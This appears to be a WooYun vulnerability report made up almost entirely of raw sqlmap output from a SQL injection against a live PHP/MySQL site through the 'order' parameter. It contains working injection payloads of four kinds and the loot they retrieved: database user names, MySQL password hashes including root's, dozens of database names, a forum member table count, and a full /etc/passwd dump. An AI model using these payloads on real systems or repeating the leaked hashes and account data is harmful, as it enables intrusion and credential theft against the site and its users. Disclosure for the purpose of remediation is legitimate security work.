WooYun.org

sqlmap identified the following injection points with a total of 263 HTTP(s) requests:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=votenum RLIKE (SELECT (CASE WHEN (7817=7817) THEN 0x766f74656e756d ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=votenum AND (SELECT 7601 FROM(SELECT COUNT(*),CONCAT(0x7175637971,(SELECT (CASE WHEN (7601=7601) THEN 1 ELSE 0 END)),0x7177776871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: order=votenum; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=votenum AND SLEEP(5)
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=votenum RLIKE (SELECT (CASE WHEN (7817=7817) THEN 0x766f74656e756d ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=votenum AND (SELECT 7601 FROM(SELECT COUNT(*),CONCAT(0x7175637971,(SELECT (CASE WHEN (7601=7601) THEN 1 ELSE 0 END)),0x7177776871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: order=votenum; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=votenum AND SLEEP(5)
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0
database management system users [12]:
[*] ''@'localhost'
[*] 'dbuser'@'%'
[*] 'dbuser'@'localhost'
[*] 'gpjhadmin'@'%'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'teachervote'@'%'
[*] 'traveluser'@'%'
[*] 'traveluser'@'localhost'
[*] 'ublog'@'%'
[*] 'ublog'@'localhost'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=votenum RLIKE (SELECT (CASE WHEN (7817=7817) THEN 0x766f74656e756d ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=votenum AND (SELECT 7601 FROM(SELECT COUNT(*),CONCAT(0x7175637971,(SELECT (CASE WHEN (7601=7601) THEN 1 ELSE 0 END)),0x7177776871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: order=votenum; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=votenum AND SLEEP(5)
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0
database management system users password hashes:
[*] dbuser [2]:
password hash: *06140FD84B0B14E8B6F002B7BCCBB594FAAF7863
password hash: *3541F9C0D1BD732B0A030479984B3A70DD4A87F6
[*] gpjhadmin [1]:
password hash: NULL
[*] root [4]:
password hash: *3541F9C0D1BD732B0A030479984B3A70DD4A87F6
password hash: *9922DAFD34FFEA22A9ACB6B6ED3EDC1652C73D9A
password hash: *E3795406F3AF450F2A1E2A70B285474B56911B9C
password hash: NULL
[*] teachervote [1]:
password hash: NULL
[*] traveluser [2]:
password hash: *6A2B2C7D4D26D4AA360B309B1D0AA3412013BADA
password hash: NULL
[*] ublog [2]:
password hash: *06140FD84B0B14E8B6F002B7BCCBB594FAAF7863
password hash: *6A2B2C7D4D26D4AA360B309B1D0AA3412013BADA
[*] 1921
[*] admanager
[*] admanager_v11
[*] baike
[*] computer
[*] computer2013
[*] debate16
[*] edu_votedb
[*] forum_new
[*] gg2013
[*] gpjh_xbyx
[*] group_log
[*] groups
[*] guanggao
[*] guanggao2
[*] guanggao_new
[*] guoshi
[*] guoshi_questionnaire
[*] guoshidisk
[*] home2school
[*] information_schema
[*] jysjb
[*] lookchina
[*] market_survey
[*] microfilm
[*] minicms
[*] msgnote
[*] mysql
[*] paperform
[*] partymember
[*] person_centered
[*] phone
[*] phpwind
[*] qpsjb
[*] resource
[*] softwares
[*] starsky
[*] teach_sign
[*] teacher_vote
[*] test
[*] test3
[*] test_db
[*] travel
[*] traveldb
[*] ublog
[*] ucenter
[*] user_area
[*] videopages
[*] vote
[*] weigongyi
[*] xbyx_forum
[*] xbyx_guoshi
[*] zjtx
[*] zlzw_forum
[*] zlzw_registration
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0
Database: forum_new
+---------------+---------+
| Table | Entries |
+---------------+---------+
| forum_members | 204894 |
+---------------+---------+
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
piranha:x:60:60::/etc/sysconfig/ha:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
luci:x:100:101::/var/lib/luci:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
ricci:x:101:102::/var/lib/ricci:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
cetv:x:500:500:cetv:/home/cetv:/bin/bash
cetvuser:x:0:500::/home/cetvuser:/bin/bash
manager:x:501:502::/home/manager:/bin/bash
hadoop:x:502:503::/home/hadoop:/bin/bash
speedtest:x:503:504::/home/speedtest:/bin/bash
web:x:504:505::/home/web:/bin/bash
avahi-autoipd:x:102:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
mysql:x:505:506::/home/mysql:/bin/bash
gpjhadmin:x:506:508::/sftphome/gpjhadmin:/bin/false